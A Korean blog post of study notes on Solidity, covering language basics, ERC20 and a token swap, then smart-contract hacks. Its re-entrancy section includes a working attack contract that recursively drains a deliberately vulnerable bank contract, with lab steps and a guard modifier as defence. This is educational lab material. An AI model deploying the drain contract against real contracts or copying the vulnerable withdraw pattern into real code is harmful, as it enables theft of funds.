Solidity-by-example 정리(작성중)

장원령·2021년 7월 29일
1

Solidity

목록 보기
1/4

https://solidity-by-example.org/

A. 기초문법

1. Hello World

: 가장 간단한 Hello World에 대한 예제입니다.

pragma solidity ^0.7.6;

contract HelloWorld {
    string public greet = "Hello World!";
}

2. First Application

: 간단히 Count를 증가하고, 줄이는 컨트랙트이다.

pragma solidity ^0.7.6;
contract counter {
    uint public count;
    
    function get() public view returns (uint){
        return count;
    }
    
    function inc() public{
        count +=1;
    }
    function dec() public {
        count-=1;
    }
}

3. Primitive Data Types

1. boolean

: true or false

2. 정수

: 부호가 있는 int , 부호가 없는 uint
: 비트 단위를 표기하지 않으면 int 256이다.
: 이는 0부터 2** 256 -1 까지의 수를 지원한다.

3. 고정 소수점 수

: fixed, ufixed 타입이지만, 다만 아직 완전히 지원하지 않는다.

4. Variables

: 변수의 종류에는 세 가지가 있다.

  1. 상태변수
  2. 지역변수
  3. 글로벌 변수
pragma solidity ^0.7.6;

contract Variables {
    // 1. 상태 변수
    // : 컨트랙트 최상단에, 함수 바깥에 선언된 변수 
    // 블록체인에 저장된다. 
    string public text = "Hello";
    uint public num = 123;

    function doSomething() public {
        uint i = 456;
        // 2. 지역 변수 
        // 블록체인에 저장되지 않는다 
        // 함수 안에서 선언된다. 
        
        uint timestamp = block.timestamp; 
        address sender = msg.sender;
        // 3. 글로벌 변수 
        // : 블록체인에 대한 정보를 제공하는 변수이다. 
}

5. Reading and Writing to a State Variable

: 지역변수에 값을 쓰거나, 수정하기 위해서는 transaction을 보내야한다.
: 반면, 읽을 때는 필요하지 않다.

pragma solidity ^0.7.6;

contract SimpleStorage {
    // 상태변수
    uint public num;

    // 필요
    function set(uint _num) public {
        num = _num;
    }

    // 불필요
    function get() public view returns (uint) {
        return num;
    }
}

6. Ether and Wei

ether  == 10** 18 wei, 10 * * 9 Gwei

: 웨이는 이더의 가장 작은 단위이다.
: 실제 이더리움을 보낼 때의 gas price는 위에 나오는 Gwei라는 단위로 측정이 된다.

7. Gas and Gas Price

: 가스는 연산의 단위이고, 가스 spent는 트랜잭션에 쓰인 가스의 양, 가스 가격은 가스마다 지불할 이더의 가격을 말한다.
: 가스의 개념과 그에 대한 이해는 아래의 사이트를 참조하자.

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=mage7th&logNo=221440430723

8. If / Else

: 조건문은 if 와 else를 사용한다.

9. For and While Loop

: 반복문을 위해서는 for, while, do while 을 사용한다.

10. Mapping

: (key, Value) 형식으로 되어 있다.
: KeyType에는 uint, address, bytes 등이 들어갈 수 있다. Value 타입엔 무엇이든지 들어갈 수 있다.
: Mapping의 중첩이 가능하다.

11. Array

: 배열은 정적일수도, 동적일수도 있다.
: 동적 배열은 고정 크기가 없으며 계속 크기가 커질 수 있다.

pragma solidity ^0.7.6;

contract Array {
    // 다양한 배열의 선언
    uint[] public arr;
    uint[] public arr2 = [1,2,3];
    // 고정 배열 선언 모든 원소는 0으로 초기화됨
    uint[10] public myFixedSizeArr;

    function get(uint i) public view returns (uint) {
        return arr[i];
    }
    
    // 전체 배열 반환
    function getArr() public view returns (uint[] memory) {
        return arr;
    }

    function push(uint i) public {
        // 배열에 추가
        arr.push(i);
    }

    function pop() public {
        // 배열에서 제거
        arr.pop();
    }

    function getLength() public view returns (uint) {
        return arr.length;
    }

    function remove(uint index) public {
        // 길이는 변경하지 않고, 배열 내의 모든 원소를 초기화한다. 
        delete arr[index];
    }
}

contract CompactArray {
    uint[] public arr;
    
    function remove(uint index) public {
        // 지우고자 하는 값의 위치를 마지막 인덱스의 값과 바꾼후, 마지막 인덱스를 제거한다. 
        arr[index] = arr[arr.length - 1];
        arr.pop();
    }

    function test() public {
        arr.push(1);
        arr.push(2);
        arr.push(3);
        arr.push(4);
        // [1, 2, 3, 4]

        remove(1);
        // [1, 4, 3]

        remove(2);
        // [1, 4]
    }
}

추가내용

: public으로 배열을 선언할 경우, 솔리디티는 자동으로 getter 메소드를 생성한다. 다른 컨트랙트가 이 배열을 읽을 수 있게 된다.
: public 선언시 공개 데이터 저장에 유용하다.

12. Enum

: enum은 컨트랙트 밖에서도 구현이 가능하다.
: 변수가 일련의 상수들로 정의될 수 있도록 해주는 특별한 데이터 타입이다.
: import를 통해 enum을 import할 수 있다.

import "./EnumDeclaration.sol";

    enum Status {
    : 기본 값은 맨위의 값이 되게 된다. 
        Pending,
        Shipped,
        Accepted,
        Rejected,
        Canceled
    }

    //enum의 초기값은 제일 위에 있는 값이다.
    Status public status;

: 더 궁금하면 아래의 예시 참고

http://www.kmooc.kr/assets/courseware/v1/4c79358058c412a1449ec93ad5e00cd5/asset-v1:SJCU+SJCU04+2019_2+type@asset+block/_%ED%95%99%EC%8A%B5%EC%9E%90%EB%A3%8C_%EB%B8%94%EB%A1%9D%EC%B2%B4%EC%9D%B8%EC%9D%91%EC%9A%A9%EA%B3%BC%EC%8B%A4%EC%8A%B5_1202.pdf

13. Structs

: 다른 자료형의 연관된 데이터를 엮는데 도움이 된다.
: Enum과 마찬가지로 컨트랙트 밖에서 선언하든지 import 가능하다.

struct Todo {
        string text;
        bool completed;
    }

14. Data Locations - Storage, Memory and Calldata

  1. storage
    : 블록체인에 저장되는 상태 변수이다.

  2. memory
    : 함수가 불러진 동안만 메모리에 존재하는 지역변수이다.

  3. calldata
    : 특별한 데이터 위치이다. 외부함수로만 이용이 가능하다. memory와 유사하다.

    https://docs.soliditylang.org/en/latest/types.html?highlight=calldata#reference-types

15. Function

: 함수는 다양한 반환을 제공한다.

contract Function {
    // 여러개가 반환이 가능하다. 
    function returnMany() public pure returns (uint, bool, uint) {
        return (1, true, 2);
    }

    // 반환하는 값에 이름 지정 가능 
    function named() public pure returns (uint x, bool b, uint y) {
        return (1, true, 2);
    }

    function assigned() public pure returns (uint x, bool b, uint y) {
        x = 1;
        b = true;
        y = 2;
    }

    // Use destructing assignment when calling another
    // function that returns multiple values.
    function destructingAssigments()
        public pure returns (uint, bool, uint, uint, uint)
    {
        (uint i, bool b, uint j) =  returnMany();

        // Values can be left out.
        (uint x, , uint y) = (4, 5, 6);

        return (i, b, j, x, y);
    }

    
    // 매개변수로 배열을 사용할 수 있다. 
    function arrayInput(uint[] memory _arr) public {
    }

    // 반환으로 배열을 사용할 수 있다. 
    uint[] public arr;

    function arrayOutput() public view returns (uint[] memory) {
        return arr;
    }
}

16. View and Pure Functions

View와 Pure의 차이

View : 읽기 전용으로 함수를 실행하는데에 있어 데이터를 쓰거나 덮어쓰지 않고 읽기만 한다.
Pure : 순수함수란 side effect(외부 값을 가져와서 그에 대해서 변경시키는 행위)가 전혀 없이, 오로지 그 함수의 parameter만을 이용해서 값을 return하는 함수이다.

17. Error

: 트랜잭션중 있었던 모든 변화를 취소한다.

  1. require
    : 입력값이 설정한 조건의 기댓값과 맞는지 테스트할 때 사용한다.
    : 실행중에 조건 값을 만족하지 못한것이 발견되면, 수행했던 내용을 모두 원상복구시킨다.
  2. revert
    : 컨트랙트의 실행을 중지하고 모든 변경 상태를 되돌린다.
  3. assert
    : false이면 절대 안되는 내부의 에러를 확인할때 쓴다.
pragma solidity ^0.7.6;

contract Error {
    function testRequire(uint _i) pure public {
        // 매개변수의 값이 정당한지 확인함
        require(_i > 10, "Input must be greater than 10");
    }

    function testRevert(uint _i) pure public {
        // 검사해야할 조건이 복잡한 경우에 Revert를 사용한다. 
        if (_i <= 10) {
            revert("Input must be greater than 10");
        }
    }

    uint public num;

    function testAssert() view public {
        // Assert는 내부의 에러를 활용하는데 쓴다.        
        assert(num == 0);
    }
}

18. Function Modifier

: 함수실행 전 후에서 사용된다.
: 접근 제한, 유효한 입력값, 재진입성 해킹에 방어 등을 위해 사용한다.

// 예시로 크립토 키티에서 CEO마 코드를 시행할 수 있도록 다음과 같이 modifier를 이용했다.
modifier onlyCEO(){
   require(msg.sender == ceoAddress);
   _;
}

: 쉽게 말해서 함수를 꾸며준다.
: view와 pure가 대표적인 function modifier이다

pragma solidity ^0.7.6;

contract FunctionModifier {
    address public owner;
    uint public x = 10;
    bool public locked;

    constructor() {
        // transaction sender를 컨트랙트의 주인으로 
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
        // 나머지 코드를 시행하도록 하는 modifier만의 특수한 코드 _;
        // 어디서 실행할 지를 결정해주는 placeholder이다. 
    }

    // 주소가 유효한지 확인한다. 
    modifier validAddress(address _addr) {
        require(_addr != address(0), "Not valid address");
        _;
    }

    function changeOwner(address _newOwner)
        public
        onlyOwner
        validAddress(_newOwner)
    {
        owner = _newOwner;
    }

    // 함수가 작동 중에 불려오는 것을 방지한다. 
    modifier noReentrancy() {
        require(!locked, "No reentrancy");

        locked = true;
        _;
        // 다시 원래의 함수로 원복해서 실행해라
        locked = false;
    }

    function decrement(uint i) public noReentrancy {
        x -= i;

        if (i > 1) {
            decrement(i - 1);
        }
    }
}

19. Events

: 트랜잭션이 완료되면, 트랜잭션 영수증을 발행하는데 이 영수증에 트랜잭션이 실행했던 동안 발생했던 행위에 대한 정보를 제공하는 로그 엔트리가 들어 있다
: 이더리움 블록체인에 대한 로깅을 허용한다.
: 이벤트는 로그를 만들기 위해 사용하는 고수준 객체다.

pragma solidity ^0.7.6;

contract Event {
    // Event 선언
    // 최대 3개의 파라미터를 사용할 수 있다. 
    event Log(address indexed sender, string message);

    function test() public {
        emit Log(msg.sender, "Hello World!");
        // emit은 트랜잭션 로그에 이벤트 데이터를 집어넣기 위하여 사용한다. 
        emit Log(msg.sender, "Hello EVM!");
        emit AnotherLog();
    }
}

: 이벤트에 대한 보다 자세한 설명은 아래를 참조하자.

https://joojis.tistory.com/entry/Solidity-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D-2

20. Constructor

: 객체지향언어인 Solidity는 객체의 초기화를 위한 생성자를 제공한다.

  1. 생성자는 계약서가 배포될 때 호출된다.
  2. 생성자는 단 한개만 사용해야 한다.
  3. 생성자를 호출하지않으면 기본 생성자가 자동으로 생성된다.
  4. 생성자는 internal이나 public으로 사용해야 한다.
  5. internal으로 생성자를 만들면, 다른 Contract에서 상속을 받아서 사용해야 한다.
  6. 생성자를 상속받는 방법은 두 가지이다 .
// 5번 예시 
contract A{
   uint public a;
   constructor(uint _a) internal{
      a = _a;
   }
}
// 여기서 계약 A로 배포하면 계약을 생성할수 없게 된다. 
contract B is A(1){
  constructor() public {}
}
// 계약 B로 배포되면 정상생성된다. 

// 6번 예시 
contract B is X("Input to X"), Y("Input to Y") {
}

contract C is X, Y {
    // 생성자 내에서 초기화한다. 
    constructor(string memory _name, string memory _text) X(_name) Y(_text) {
    }
}

21. Inheritance

: Solidity는 다중상속을 지원한다. is 키워드를 사용하면 가능하다.
: 이때 순서를 중시하여야 한다.
: 자식 컨트랙트에게 수정될 수 있는거에는 virtual
: 부모 컨트랙트의 것을 override 하는데에는 override 키워드를 활용한다.

22. Shadowing Inherited State Variables

: 함수와는 달리 상태 변수는 자식 컨트랙트에서 다시 정의한다고 오버라이딩 되지 않는다.

pragma solidity ^0.7.6;

contract A {
    string public name = "Contract A";

    function getName() public view returns (string memory) {
        return name;
    }
}

// 아래 코드는 컴파일 되지 않는다. 
// contract B is A {
//     string public name = "Contract B";
// }

contract C is A {
    // 상속과 생성자를 통해 상태변수의 값을 바꿀 수 있다. 
    constructor() {
        name = "Contract C";
    }

    // C.getName returns "Contract C"
}

23. Calling Parent Contracts

: 직접적으로나, super 키워드를 이용해서 부모 컨트랙트를 호출할 수 있다.
: super를 이용하면 모든 인접한 부모 컨트랙트 호출이 가능하다.

24. Visibility

: 솔리디티 또한 자바처럼 접근 여부를 정할 수 있다.
: 함수는 public, private, internal, external으로 선언될 수 있고, 상태변수는 external을 제외한 public, private, internal으로 선언될 수 있다.

public : 어디서든 호출 가능
private : 함수를 정의하는 컨트랙트 내에서만 호출 가능
internal : internal 함수를 상속받는 컨트랙트 안에서만
external : 다른 컨트랙트나 계정에 의해서만

25. Interface

: 인터페이스 정의를 통해 다른 컨트랙트와 상호작용할 수 있다.

* 인터페이스의 특징

: 생성자나 상태변수를 선언할 수 없다.
: 타 인터페이스에서 상속 가능
: 모든 정의된 함수는 external이어야 한다.
: implement된 함수를 가질 수 없다.

26. Payable

: payable로 정의된 함수나 주소는 컨트랙트에 이더를 받을 수 있다.

27. Sending Ether - Transfer, Send, and Call

1. 이더를 보내는 법

: transfer, send, call

2. 이더를 받는 법

: receive, fallback
: receive는 msg.data가 비었을 경우 불러지고, 아니면 fallback이 불러진다.

28. Fallback

: 매개변수도 없고, 반환도 하지 않는 것이다.
: transfer나 send에 의해서 불려졌을 경우 2300의 제한을 가진다.
: 아래와 같은 경우에 실행이 된다.

  1. 함수가 존재하지 않는 경우
  2. 이더가 컨트랙트로 바로 보내졌지만, receive가 없거나, msg.data가 비지 않은 경우

29. Call

: 다른 컨트랙트와 소통하기 위한 로우 레벨의 함수이다.
: 단지 fallback함수를 불러 이더를 보낼때 사용하기에 좋다.
(Fallback은 call된 함수가 존재하지 않을때에 사용)
: 존재하는 함수를 부르기에 좋지 않다.

https://www.youtube.com/watch?v=mz10sUmEdsM

30. Delegatecall

: call과 유사한 로우레벨의 함수이다. 설명이 부족한 감이 있어 아래의 유투브를 참조했다.

https://www.youtube.com/watch?v=Yh8UL7FZwAI

: 컨트랙트 A가 컨트랙트 B를 delegatecall하면, B의 코드를 A의 내용 안에서 실행한다.
: A의 코드를 하나도 변화시키지 않고 업그레이드 할 수 있다.

31. Function Selector

: 함수를 부를때, 첫 4바이트의 calldata가 어떤 함수를 부를지 알려주고 이것이 function selector이다.

32. Calling Other Contract

: 컨트랙트에서 다른 컨트랙트를 부를 수 있는 방법은 두 가지가 있다.

  1. A.foo(x,y,z) // 1번이 더욱 추천된다.
  2. call

33. Creating Contracts from a Contract

: Contract 내에서 new 키워드를 통해 새로운 컨트랙트를 만들 수 있다.

34. Try / Catch

: external 함수 소환과 컨트랙트 창작에 대해서만 에러를 잡을 수 있다.

35. Import

: 내부에서도 import할수 있고, 깃헙 주소와 같이 외부에서도 할 수 있다.

// 같은 디렉토리 내에 있을 경우 
import "./Foo.sol";
// 깃허브와 같이 외부 주소를 쓸 경우 
import "https://github.com/owner/repo/blob/branch/path/to/Contract.sol";

36. Library

: 컨트랙트와 유사하지만, 상태변수 선언, 이더 보내기가 불가하다.

37. Hashing with Keccak256

: Keccak-256 hash 는 난수를 생성하는데에 사용하는 해쉬 함수이다.
: 아래의 사이트에서 어떻게 바꾸는지 확인 가능하다.

https://emn178.github.io/online-tools/keccak_256.html

38. Verifying Signature

: 싸인하고 증명하는 것에 대한 내용이다.

B. Applications

1. Multi Sig Wallet

: 여러개의 계정 키로 구성된 계정
: 각 계정키는 가중치를 가지고 있고, 트랜잭션을 발생시키기 위해서는 임계치 이상의 가중치가 서명된 경우에만 가능한다.

2. Merkle Tree

3. Iterable Mapping

4. ERC20

: ERC20 표준을 따르면 ERC 20토큰이라고 한다.
: 표준은 아래와 같다.

https://eips.ethereum.org/EIPS/eip-20

4.1 ERC20 컨트랙트

: ERC 20 토큰 컨트랙트 규칙은 9개로, 3개의 선택적 규칙과 6개의 필수 규칙을 가지고 있다.

선택

1. 이름

function name() public view returns (string)

2. Symbol

function symbol() public view returns (string)

: 사람이 읽을 수 있는 기호를 반환

3. 십진법

function decimals() public view returns (uint8)

: 토큰 양을 나눌 수 있는 소수 자릿수를 반환한다. 대부분 18을 사용한다.

필수

1. totalSupply

: 현재 존재하는 이 토큰의 전체 개수(전체 공급량)를 리턴한다.

function totalSupply() public view returns (uint256)

2. balanceOf

: 주소가 주어지면 해당 주소의 토큰 잔고를 반환한다.

function balanceOf(address _owner) public view returns (uint256 balance)

3. transfer

: 주소와 금액이 주어지면 해당 주소로 토큰의 양을 전송한다.
: 실행시 이벤트 transfer도 실행

function transfer(address _to, uint256 _value) public returns (bool success)

4. transferFrom

: taransfer를 보다 간소화했다.
: 보낸사람, 받는 사람 및 금액이 주어지면 계정에서 다른 계정으로 토큰을 전송한다. approve와 조합해서 사용한다.
: 토큰이 반드시 해당 컨트랙트를 호출하는 이의 소유일 필요가 없다. (정기구독, 자동 결제 시스템 등에 사용)

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)

5. approve

: 인출하는 등의 토큰 수량을 제어하고, 이를 통해 함수 부작용 등을 미연에 방지한다.
: approval 이벤트를 통하여 블록체인에 데이터를 기록한다.

function approve(address _spender, uint256 _value) public returns (bool success)

6. allowance

: 소유자 주소와 지출자 주소가 주어지면, 지출자가 출금할 수 있도록 소유자가 승인한 잔액을 리턴
: approve와 함께 사용된다.

function allowance(address _owner, address _spender) public view returns (uint256 remaining)

Events

1. Transfer

: 전송이 성공하면 Zero value일 경우를 포함해서 이벤트가 트리거된다.
: 새 토큰을 만드는 토큰 컨트랙트는 반드시 from 주소를 0x0으로 세트한 데서 Transfer 이벤트를 트리거 해야 한다.

2. Approval

: approve를 성공적으로 호출하면 이벤트가 기록된다.

그 외에도 관련하여 자세한 내용이 있는 사이트를 첨부하겠다.

https://academy.binance.com/ko/articles/an-introduction-to-erc-20-tokens

4.2 Open Zeppelin

: open zeppelin을 사용할 경우 쉽다. 먼저 아래의 명령어를 사용하고

npm install @openzeppelin/contracts

: 솔리디티 코드에 아래와 같이 import하면 된다.

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/token/ERC20/ERC20.sol";

4.3 TokenSwap

: 여기선 TokenSwap 컨트랙트를 예시로 들었다.
: 임의로 버전은 "pragma solidity ^0.6.0;"로 수정해서 확인하였다.

pragma solidity ^0.6.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/token/ERC20/IERC20.sol";

/*
How to swap tokens

1. Alice has 100 tokens from AliceCoin, which is a ERC20 token.
2. Bob has 100 tokens from BobCoin, which is also a ERC20 token.
3. Alice and Bob wants to trade 10 AliceCoin for 20 BobCoin.
4. Alice or Bob deploys TokenSwap
5. Alice appproves TokenSwap to withdraw 10 tokens from AliceCoin
6. Bob appproves TokenSwap to withdraw 20 tokens from BobCoin
7. Alice or Bob calls TokenSwap.swap()
8. Alice and Bob traded tokens successfully.
*/

contract TokenSwap {
    IERC20 public token1;
    address public owner1;
    uint public amount1;
    IERC20 public token2;
    address public owner2;
    uint public amount2;

    constructor (
        address _token1,
        address _owner1,
        uint _amount1,
        address _token2,
        address _owner2,
        uint _amount2
    ) public {
        token1 = IERC20(_token1);
        owner1 = _owner1;
        amount1 = _amount1;
        token2 = IERC20(_token2);
        owner2 = _owner2;
        amount2 = _amount2;
    }

    function swap() public {
        require(msg.sender == owner1 || msg.sender == owner2, "Not authorized");
        require(
            token1.allowance(owner1, address(this)) >= amount1,
            "Token 1 allowance too low"
        );
        require(
            token2.allowance(owner2, address(this)) >= amount2,
            "Token 2 allowance too low"
        );

        _safeTransferFrom(token1, owner1, owner2, amount1);
        _safeTransferFrom(token2, owner2, owner1, amount2);
    }

    function _safeTransferFrom(
        IERC20 token,
        address sender,
        address recipient,
        uint amount
    ) private {
        bool sent = token.transferFrom(sender, recipient, amount);
        require(sent, "Token transfer failed");
    }
}

5. Precompute Contract Address with Create2

6. Minimal Proxy Contract

7. Uni-directional Payment Channel

8. Bi-directional Payment Channel

C. Hacks

1. Re-Entrancy

A. 개요

: 2016년에 DAO Hacking 이라고하는 해킹사건으로 인해 이더리움 클래식과 이더리움이 체인을 분리하게 되는데, 이 공격 방식이 Re-Entrancy를 활용한 것이었다.
: 컨트랙트 A가 B를 호출할때, 그 과정이 다 끝나지 않았음에도 다시 A를 호출하게 해커가 정의한 fallback function에서 다시 해커가 작성한 계약에 이더를 송금하는 function(앞서 호출한 함수와 동일한 함수)을 재귀적으로 호출하는 방법이다.

*fallback이란? 함수명이 없는 no-name함수. Contract 내에 존재하지 않는 함수를 호출하려고 시도할 때 호출되는 함수.

: 관련해서 자세한 설명을 하는 블로그들은 아래와 같다.

https://gus-tavo-guim.medium.com/reentrancy-attack-on-smart-contracts-how-to-identify-the-exploitable-and-an-example-of-an-attack-4470a2d8dfe4

https://anomie7.tistory.com/56

https://gloryan.medium.com/%EC%9D%B4%EB%8D%94%EB%A6%AC%EC%9B%80-%EC%86%94%EB%A6%AC%EB%94%94%ED%8B%B0-chap-3-2572b52b2033

B. 실습

: 아래의 유투브에서 재귀에 대한 설명이 잘되어 있어, 정리해보았다.

https://www.youtube.com/watch?v=1hVg_Qc7tug&t=333s

: 공격하는 코드는 아래와 같다.

interface targetInterface{
    function deposit() external payable; 
    function withdraw(uint withdrawAmount) external; 
}

contract simpleReentrancyAttack{
    targetInterface bankAddress = targetInterface(타겟 주소 ); 
    // 바꿔서 실행해야함
    uint amount = 1 ether; 


    function deposit() public payable{
    // 내 계정에 저장 
        bankAddress.deposit.value(amount)();
    }
    
    function getTargetBalance() public view returns(uint){
    // 구하고자 하는 계정의 잔고를 보는 함수 
        return address(bankAddress).balance; 
    }
    function attack() public payable{
    // 공격 하는 함수 
        bankAddress.withdraw(amount); 
    }
    
    function retrieveStolenFunds() public {
        msg.sender.transfer(address(this).balance);
    }
    
    fallback () external payable{ 
     if (address(bankAddress).balance >= amount){
         bankAddress.withdraw(amount);
     }   
    }
}

: 그 타겟이 되는 코드는 아래와 같다.

pragma solidity ^0.6.6;

contract simpleReentrancy {
    
    mapping (address => uint) private balances;
    
    function deposit() public payable  {
        require((balances[msg.sender] + msg.value) >= balances[msg.sender]);
        balances[msg.sender] += msg.value;

    }

    function withdraw(uint withdrawAmount) public returns (uint) {
           	require(withdrawAmount <= balances[msg.sender]);
    		msg.sender.call.value(withdrawAmount)("");
    
    		balances[msg.sender] -= withdrawAmount;
    		return balances[msg.sender];
    }
    
    function getBalance() public view returns (uint){
        return balances[msg.sender];
    }
}
  • 흐름을 간단히 정리하면,
  1. 공격하는 컨트랙트의 attack 함수가 공격 받는 컨트랙트의 withdraw함수를 호출한다.
  2. withdraw 함수 내의 msg.sender.call.value(withdrawAccount)(""); 코드에서 fallback 함수가 소환된다.
  3. if (address(bankAddress).balance >= amount) 조건문으로 검사하면서, 컨트랙트 내부에 잔고가 있을 경우, 다시 withdraw 함수를 소환하면서 재귀적으로 소환한다.

: 이렇기 때문에 withdraw 컨트랙트 내의 require(withdrawAccount <= balances[msg.sender]); 문이 효과를 발휘하지 못하게 된다.

실습 과정은 다음과 같다.

  1. 먼저 공격 대상이 되는 함수를 deploy 하고, 사진처럼 해당 주소를 공격 코드중 타겟 주소를 넣어야 하는 칸에 저장한다.
targetInterface bankAddress = targetInterface(타겟 주소 ); // 를
->
targetInterface bankAddress = targetInterface(0x8431717927C4a3343bCf1626e7B5B1D31E240406); //로
  1. deposit을 눌러 70 이더를 넣어준다.

  2. 다른 계정으로 전환후 공격 코드를 deploy하고 , deposit을 눌러 1 value를 넣어준다.

  3. getTargetBalance로 확인하면 70이더를 보유하고 있음을 볼 수 있다.

  4. attack을 누르면, 재귀적으로 작동하기 때문에 "ransact to simpleReentrancyAttack.attack pending ... " 가 뜨며 시간이 걸린다.

  5. getTargetBalance를 확인하면 0으로 성공적으로 가로챘음을 확인할 수 있다.

C. 예방 기법

: 항상 상태 변화가 외부 컨트랙트를 부르기 전에 일어나야 한다.
: 이를 위해 function modifiers, 함수 변환자를 사용한다.

pragma solidity ^0.7.6;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

2. Arithmetic Overflow and Underflow

3. Self Destruct

4. Accessing Private Data

5. Delegatecall

6. Source of Randomness

7. Denial of Service

8. Phishing with tx.origin

9. Hiding Malicious Code with External Contract

10. Honeypot

11. Front Running

12. Block Timestamp Manipulation

13. Signature Replay

14. Bypass Contract Size Check

0개의 댓글